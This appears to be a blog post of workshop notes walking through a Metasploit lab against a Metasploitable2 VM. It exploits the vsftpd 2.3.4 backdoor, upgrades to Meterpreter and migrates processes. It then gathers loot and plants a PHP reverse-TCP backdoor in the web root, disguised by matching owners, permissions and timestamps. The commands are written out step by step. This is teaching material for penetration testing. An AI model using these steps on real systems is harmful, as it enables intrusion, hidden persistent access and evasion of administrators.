Below is a list of things you will need.
Virtual machine running Metasploitable2
Both VMs should be on the same NAT network
This workshop is designed to teach you along the way.
At the end are references
to topics we will cover, plus some fun stuff
including cheat sheets, and CTF links. I
do recommend after the workshop to check out all the links in the last few
slides.
Below are some syntax I'll use.
- $ <command>
- Run command in Kali terminal
- msf> <command>
- Run command in Metasploit Framework
- s> <command>
- Run command in a shell session
- meterpreter> <command>
- Run command in Meterpreter session
First start up both virtual machines and log into Kali.
- Start up Metasploitable2
- Minimize Metasploitable2
- If you need to login
- User=msfadmin
- Password=msfadmin
- Start up Kali
- Login
- User=root
- Password=toor
- Start Metasploit Service
- Applications >
- Kali Linux >
- System Services >
- Metasploit >
- Community / pro Start
- Open 2nd Terminal
- Kali Desktop top left
- Minimize (will use later)
Use the open terminal and type ifconfig to see if we have been assigned an IP
address.
The most
common question I get is, “How do I know what IPs to scan?” For the most part
you will have a list of IP address that are in scope. In our scenario we are in
scope. We plugged into the network and have been assigned an IP address. Now we
want to enumerate the network. This is where some knowledge in Subnet Masks
comes in handy.
Note
your IP address and subnet because you will need to know this later.
For
these slides the target will be 192.168.164.130, Kali will be 192.168.164.129.
Your IP may be different, but the mask is most likely the same.
Lets
start the Metasploit Framework.
$ ifconfig
In the terminal change to the Metasploit framework directory.
Metasploit has issues with symbolic links so it is better to move to the proper
directory. Start the Metasploit console.
To
save time we won’t update today, the default install is enough for this
workshop. Metasploit updates sometimes several times a week so you would want
to update the framework often.
$ cd /usr/share/metasploit-framework/
$ msfconsole
Getting help in Metasploit is easy, just type help for a list of
available commands. Type help followed by a command to get info on that
command, or use the –h flag after a command.
We
will be using the workspace because it organizes your stuff and makes things
easier to read.
Metasploit
doesn’t deal with text editor well so switch to different terminal when editing
payloads. Remember that we actually working under the /usr/share/Metasploit-framework/
directory.
You can run some bash commands in Metasploit like ls and ifconfig.
Remember that the pipe does not work in Metasploit. Here
are some other common commands that are useful. The use command will switch you to a new
module. In the modules you always want to see the info which will give you all
the details of the module including a description on how it works.
Be
sure to do show options after you set your parameters, to confirm that the new
settings are correct, and avoid typo errors. The advance options are there so
check them out.
The
show options will give you the parameters you need to set for the module. The setg
command is useful because it will remember your setting across modules. Use the
unsetg to
remove the global you set. Otherwise
just use the set command.
When
you are ready to run a module type run, exploit does the same in exploit
modules.
Some other useful commands are control zee to background the shell session you
have and return to Metasploit. In a Meterpreter shell session you can type
background to revert back to Metasploit. Be carful with control zee because if
you are not in the shell session it will kill Metasploit. Session dash lower
case L will list your sessions. The jobs command will address your
handlers, which are your listeners for reverse
shells trying to connect to you.
There some directories in the framework
to be aware of. The data slash wordlists contains
a bunch of wordlists to aid in cracking passwords.
In
your home directory is the dot msf4 directory. This is where your loot will
show up in post exploitation. There is a modules directory, you put your custom
modules here and the framework will automatically find it. If you run into
errors the framework’s logs are a good place to check out.
Lets
talk about the modules in the framework.
A
vulnerability is what causes an application to crash. It could be a buffer over
flow, integer overflow, or maybe a divide by zero error. Something that makes
the app puke. An exploit takes advantage
of a vulnerability and prevents the crash, in order to insert a payload to be
executed. A payload is the code to be executed by the exploit.
Metasploit is
organized by exploits, payloads, auxiliary, nops, and post exploitation.
For
example, the auxiliary directory will have sub directories like scanner,
sniffer, sqli, and
so on. The exploits directory will have sub directories like linux, unix,
windows, firefox, and
so on. Getting familiar with the
directory tree under modules will help you find relevant modules for the
situation.
- Check workspace/database is working
- msf> db_status
- View your workspace
- msf> workspace
- Add workspace
- msf> workspace –a class
- Change your workspace
- msf> workspace class
Nmap
The most important thing to remember with Nmap is that it
gives a best guess for results. It may tell you it found a Windows 2008 server
box when it is really a Windows 7. Use
the –vv
option to really get a good idea of what Nmap is doing.
The
T5/T2 flags set Nmap timing, T3 is default T5 is the fastest, T0 is extremely
slow.
The
–A option means aggressive which run will through all kinds of discover scans
and use some default scripts. The –p- is shorthand for all possible ports.
When
you are just starting out use the –vv verbose flags to get an idea of what
Nmap does. Use the –reason flag so Nmap will tell you why it gave certain
results, again because, Nmap gives you a best guess.
While
we are in the Metasploit Framework use the db_nmap because it will run the Nmap scan and
populate the database with relevant results
$ nmap -T2- v -p80,443,8080 <IP_address>
$ nmap –T5 –A -p- <IP_address> --script=vuln
Low and slow is the motto. The –sn flag
will just see if something answers, no port scanning. Since we know the Mask
and our IP address we scan the entire visible network excluding ourselves.
Depending
on your local IP and Mask your command may be different.
You
should get about three to five IP addresses. People tend to follow habits, the
high and low IP addresses are usually for internal networking. Sometimes you
would target the internal network nodes, like routers and switches, but for
this scenario we will focus on the Metasploitable machine. So if you have an IP
address in the middle like something between 125 to 135 then that is most
likely the Metasploitable2 VM, our target.
- msf> db_nmap -sn --reason <target_ip_range> --exclude <your_ip>
- No port scan = -sn
- Exclude IP = --exclude <IP_address>
Lets
use the hosts command to see if db_nmap populated the database.
Again
Nmap gives you a best guess, so in the previous slide Nmap was saying I’m
pretty sure there is something there. As you go on you will see db_nmap will
only populate the database if the results are pretty certain.
Metasploit will populate the database if results are certain.
Now we have our target lets do a stealth SYN scan.
Bam!
We have some services. Nmap says it is sure the host is up because it replied
to an ARP request. It found all these services as open because they each
acknowledged the TCP SYN requests. Now there should be some stuff in the
database.
- msf> db_nmap –sS --reason <target_ip>
Use the
hosts command to show the hosts in the data base. We are still unsure of the
operating system version.
- msf> hosts
Use the
services command to see all the services now populated in the database. As you
do this more often you will notice some ports are generally certain operating
systems
At
this point in a real pentest we would jump for joy and run to some services
like ingreslock,
shell, or http. Do some googling and you
will find some low hanging fruit.
Note
port 80 means there is a website to go to. Metasploitable2 has several
vulnerable web sites to practice SQL Injection, Cross Site Scripting, and more.
Practice this stuff in the future.
We
will focus on one service, find a vulnerability, and exploit that service
without using google. That way you get an understanding of the tools and later
you can practice other methods.
- msf> services
Lets get some info on the operating system. We tell
Nmap to assume the host is up and add the flag to detect the operating system.
The results show we have a Linux box at kernel versions somewhere between 2.6.9
and 2.6.33.
-Pn = Assume up
-O = OS detection
This is good info and we can see it in the database.
- msf> db_nmap --reason -sV -p21 <target_ip>
- -sV = Service Version
- -p21 = scan port 21
- msf> services
Great,
now I’ll explain why we need this info then we will go into finding a
vulnerability.
The quirk about exploits is that many of them simply suck or flat out don’t
work. We want to know as much as possible about the system in order to pick the
right vulnerability and exploit. At least know the operating system version and
the patch level is desired. Knowing the service version is also key, since you
wouldn’t want to try an exploit on a service that is patched to fix the
vulnerability. We want to avoid crashing
the service to keep from being discovered. Unfortunately exploits found on the
internet usually lack documentation. Luckily Metasploit will give us some
documentation and an exploit ranking to go by.
Here are
the definitions of the exploit rankings in Metasploit. They range form
Excellent the best, to Manual the worst. Use the info command often. When you
do a search in Metasploit the rankings will show up in the results. The key to
a successful exploitation is to know what your are exploiting and what the
exploit is doing.
Excellent = never crash service Great = Default target and or auto detect Good = default target and it is the "common case" Normal = depends on a specific version and can't (or doesn't) reliably auto detect Average = generally unreliable or difficult Low = nearly impossible to exploit (or under 50%) Manual = basically a DoS
- Search in Meatsploit
- msf> search –h
Search for the vsftp version 2.3.4. and BAM a pretty nice
hit. Backdoor command execution, rank is excellent, precious!
- msf> search vstp 2.3.4
First we use the module then we always look at
the info on that exploit module. We get name, module, platform, and whether we
will get privileged access. The rank is excellent. We have a list of authors,
available targets, and the options we will need to set.
Plus
we have some payload information. The payload information tells us the max size
of the payload we can use and the characters to avoid. This is key because if
wanted to inject a say a Java based Meterpreter payload and it was too big we
run the risk of crashing the service.
More
output on the next slide.
Yippy Skippy Peter Pan peanut butter! So back in 2011 there
was a backdoor introduced in the VSFTP archive. How convenient! Not only have
we found a vulnerability and exploit, the payload is already there for us!
Can
you think of a more recent application where the download version was
compromised in some way? How about the
putty.exe version that is a Trojan for collection credentials.
Look
at the references. Do you think those sites might lead you to some good
learning? That’s the value of doing this, along the way we can pick up little
nuggets that will help us build a vast library of knowledge. In reality this
situation is rare, but the practice is worth it and fun!
Luckily the
exploit is excellent, the payload is included, lets get shell.
Lets set our
global variables so there is less typing. Be sure to type things correctly. In
the slides, the target a remote host or r-host is 192.168.164.130. Our IP or
L-host is 192.168.164.129. You can use the set command to change things for the
specific module if needed. I usually run
into trouble when setting the global Ports that is better left set individually
for each module. The ports will change as you get more shells. I will tell you
when to set the ports and they should work because I’ve gone through the trial
and error.
Our global are set now move to the module with the use command. In
the module we want to check the options with show options to prevent spelling
errors. Setting the incorrect IP address could do damage to an innocent
bystander. We could do just plain info
which would give us the same description as before. The automatic target is
fine because the info told us it has a ranking of excellent. You can view the
available targets with show targets.
- msf> show options
Run the exploit, you could also use exploit. Metasploit
conveniently tells us we are have a root shell on session one. Plus there is connection information so know
what ports are being used.
Wait,
look at what happened here. We exploited the ftp service on port 21. What do
you see different?
You
can see the blue and green tags. Blue tags are successful steps completed,
green are bonus information, re means we have errors.
So
the backdoor gave us a shell on port 6200. We should note that the 6200 port
works for us. Maybe our backdoor gets discovered and the service is removed. We
would try a different service to exploit and be sure to set the payload to use
port 6200. Choosing the right ports for a payload is key to preventing binding
errors.
From
here on when you see s> in the slides it is referring to this shell.
Note Port 6200 This shell = s> = session 1
We know it is a Linux box so we have an
idea of the commands available to us. The most important thing to remember is that we have a shell and a shell does
not equal a terminal. The way a shell works is some code locally collects our
commands and when we hit enter the command is sent to the target. The target
then runs command for you. The same for standard out and standard error.
Therefore if we run a command that produces constant output funny things may
happen or the shell may freeze since the code on the target is waiting for the
end of the output, so it can send it to us. Try ls and pwd.
- Shell != terminal
- No direct connection to stdin, stdout, stderr
- s> pwd
- s> ls
We
have shell let try to upgrade to a meterpreter
There
are some advantages of having Meterpreter
shell compared to some other shell. The major point is it runs completely in
RAM never touching the disk. It does come with a bunch of commands so it is a
bulky payload. The Meterpreter lives inside a running process so you need to be
aware of what process you are in. If you
end up in a process like Chrome then you would have the same privileges as
chrome and see the keystrokes that are entered into Chrome. The down side is if
the user was to kill Chrome then you Meterpreter dies along with it. So
generally you will want migrate to a process that is expected to stay running
like explorer.exe. Lets upgrade to a Meterpreter
Hit control z on
your keyboard then y enter enter to send the shell session to the
background. We can use the post module
shell to Meterpreter to upgrade to a Meterpreter. Then show options to see what
it needs to know. It will setup a handler for us and we can change the default
port if needed. It also needs to know what session to run the module on.
- [ctrl+z]
- Y [enter] [enter]
- msf> use post/multi/manage/shell_to_meterpreter
- msf> show options
- msf> info
Get
some help on sessions and see what we need for flags. It says we need to use the –u flag to
upgrade to Meterpreter
- msf> sessions -h
Run
sessions dash u one to upgrade our shell. Then run sessions dash lower case L
to list the two shells.
Interact with a session by using the I flag and the
session number.
Now
you are in the Meterpreter and you can see what is available to you with the
help command. You will get different commands depending on the operating system
you are targeting and the Meterpreter payload you are using. Say you were not sure of the target operating
system but sure that it was running Java. You could choose a Java based
Meterpreter payload for that situation.
If
you are familiar with Ruby you can drop into interactive ruby mode.
If we
were in Windows we could wipe the Application, System, and Security Logs.
We
can edit files, download files, dump the password hashes, and much more.
Some good commands are sysinfo, getuid, getpid and
ps. Note, you will only be able to see information
at your level of privileges. Since we
are at root level permission we can see everything. You also want to know the
architecture of the system, process you are in, and the process you want to
migrate to. You would not be able to upload and run a x64 payload from an x86
process.
You can see how
the Meterpreter got invoked because our process id is 6398 which corresponds to
Qnbub.bin.
This bin file is what the module used to upgrade the shell to Meterpreter.
Consider cleaning this file up when you are done with the pentest. Many
payloads will use random names so yours may be different. Look at some of the processes. What would you
migrate to, postgres, or maybe cron?
Remember
a few things when you migrate to a new process. We can’t migrate to a process
with more permissions than the current. The migrate may fail so choose wisely.
We must be aware that the process might stop working for the user which could
alert someone to our presence. Understand that the ability migrate from one
process to another is huge feat from a coding perspective. Very cool stuff.
- Migrate issues
- Can’t migrate to a process with higher privilege than current
- Only migrate down grade privilege or same.
- The process may not continue its job after migration
- The migration may fail
Lets
migrate to the cron
process, the pid may
be different for you. Your migrate should be successful and you can check the pid to
see if we successfully migrated, and check the uid the see we still have root privileges.
Then background the session so we can do some post exploitation.
- meterpreter> migrate <pid_cron>
- meterpreter> background
- msf> use post/linux/gather/enum_system
Lets talk about some post exploitation, then we will get some loot and establish
some persistence.
What are we looking for regarding loot?
Some things to think about is personally identifiable information, services
discovered, network infrastructure, trade secrets and
so on. By this time of the pentest you should know the target company inside
and out. You will have a good idea what information the company guards and the
compliance regulations they are required to follow.
The
report should never have the actual sensitive information. Time to get some
loot.
We are still in the enum
system module, lets check the info. Here
is where the gold is. Notice the authors emails, Carlos Perez has the domain
darkoperator.com. maybe there is a blog at darkoperator.com. I highly recommend you check out the dark
operator. This is why we practice this way. One we
get a sense of attack vectors used in the past which may help us in the future.
Two, we pull nuggets of information that leads to high quality knowledge.
- msf> info
Set our session to one, confirm our
change with show options, and run. Look
at all the happy fun stuff we have! User accounts, installed packages, running
services, cron jobs
and more! Some stuff may be blank, use a separate terminal and go take a look later. Next we will check the database.
Use the loot command to track our loot in the database. Here is a snip
of what the results are. Do some looking in that huge list of
installed packages, and we find php5 is installed. Again this is not quite
realistic but it shows ways of gaining more information. If this were a true
pentest we would have gone to the site first.
Lets go back to the Metasploit Framework to talk persistence.
About persistence, slow down, take your
time, ask “What is on the system that we can use?” ssh,
ftp, nfs and
so on. Look at our loot and see what we have to work with. We know from looking
at the website and loot that php is
available so lets drop a php
backdoor.
First we will setup a handler, create a
payload, upload it, and invoke it.
In
Metasploit we use the multi handler and check out some info. The multi handler
will listen for our shell to connect to us, then pass it on to an available
port session and close by default. Lets look at our jobs and I will explain.
Run the jobs command. Remember our first shell created the handler for
us, but died off after the shell was obtained. Look at the advanced options. We are going to set the exit on
session to false. This will keep the handler alive even after the shell is
obtained. That way when the shell dies we won’t have to restart the handler to
regain access.
- msf> jobs
- msf> show advanced
Now lets
set, exit on session, the Local or
listening port to 1099. Then show options to confirm. Then run the listener as
a job with run –j . Then check to make
sure the job is running with jobs.
Now
we need to generate the payload so we can upload it to the machine. We will use
a php meterpreter revearse TCP payload, and set our L-port to
1099. Take a look at the info. Our options are fine. Now we need to
generate the payload
- msf> use payload/php/meterpreter/reverse_tcp
- msf> set LPORT 1099
- msf> info
Use the
generate dash h to get help on the flags we need to set. We are creating a php
script so no encoding, platform, iterations, nop sled, are needed. The f flag will set
the file name, and we want the output format to be raw because the payload is
simply a text file.
- msf> generate -h
Lets put
together our generate command. We name
the payload backdoor.php.
I’m going to save some time and tell you, if we were to upload and run
the payload now it simply would not work. This is the reality of exploits, so
lets see why it does not work. Go to the second terminal.
- msf> generate –t raw –f backdoor.php
In
the second terminal edit the file with vim or nano. You could use a GUI like gedit if
you already familiar with that.
When you edit the backdoor.php you
will see the php tag
at the top of the file has been commented out. So remove the hashtag aka pound
sign aka crunch from the php
start tag. Then scroll down to the end and add the end tag. Save and close.
Back
in the Metasploit framework. Drop into our metepreter session. We want to run the backdoor.php in the default directory for websites so
we change to directory /var/www/.
Confirm the directory change with pwd. Then upload the file. Note there
is a space and period at the end of the
upload command.
Notice no
shell, that’s because we haven’t invoked the backdoor yet. Before we get shell
lets talk a little persistence.
Lets move out of this session and back
into our first session so you can better see what I am
talking about. In session one you will
see a bunch of text rush by, that’s from the module we ran to get our loot.
Then change to the directory /var/www
and list the contents of that directory with the –h a l flags.
What
is odd here? Does it look like something doesn’t belong? How about dates,
owners and groups? What is our end goal?
We want the backdoor to go unseen for as
long as possible. Notice all the other files are owned by, and in the www-data
group. Notice our backdoor has an odd date time stamp compared to the others.
These are all red flags to sys admins and could be trouble if our backdoor is
found. Lets fix that.- meterpreter> background
- msf> sessions –i 1
- s> cd /var/www
- s> ls -hal
Here are the commands we would run to help hide our
tracks and make it look less obvious there is a back door. First we adjust the
permissions to match the other php files.
Then,
change the group and owner of the backdoor to match the other files.
Touch
will copy the time stamp of the phpinfo.php file to our backdoor.php
Last,
we use the move command to change the name of our backdoor to index-old.php
Lets
look at the list of files now.
Notice
our backdoor index-old.php blends in nicely with the others. It is
older the than the index.php file. It has the same permissions and
ownerships as the other files. It simply looks like it belongs, which is
crucial to avoid being detected.
These are some ideas on covering your
tracks. Some are good some not so much. Time stamps, proper owners and groups,
are all good. What are other ways to
cover your tracks? Make the file hidden? How about logs?
Now try to invoke the payload.
In
Kali open the web browser which is the blue globe icon at the top of the
Desktop. Then browse to our payload we created. Ignore the browser and return
to Metasploit. We see a third session on port 1099. Use control zee to exit the
current shell.
- http://<Target_ip>/index-old.php
Get
out of the current session and list your sessions. We have three shells. Some things to think
about is clean up. When the pentest is finished it is crucial to remove the
backdoor you installed. Make sure you document everything you do in order to
properly clean up. Remember the bin file from when we got loot.
By
now your third session might have died.
Why
does the third session die after a minute or so? The reason the session dies is
because the web page times out.
Now go try stuff. Check things out and explore. Notice the workspace jotted down some notes and vulnerabilities for
us. Try dropping all your sessions and work on a new service. For the rest of
the workshop.
After the
workshop try creating a local copy of documentation. Nmap defaults to TCP only,
try scanning for UDP services.
- $ nmap --reason –sU <target_ip>
Fun Stuff
References
- Bureau of Labor Statistics – Information Security Analyst
- Pentesting Execution Standard
- Pentesting Execution Standard Technical Guidelines
- Andrew Alan Escher Auernheimer – Weev
- OWASP Top Ten – 2013
- OWASP Top Ten - 2007
- Putty Trojan
- Biggest Baddest Backdoors of all Time
- Computer Fraud and Abuse Act
- CIDR
- Nmap
- Nmap docs
- Metasploit Framework
No comments:
Post a Comment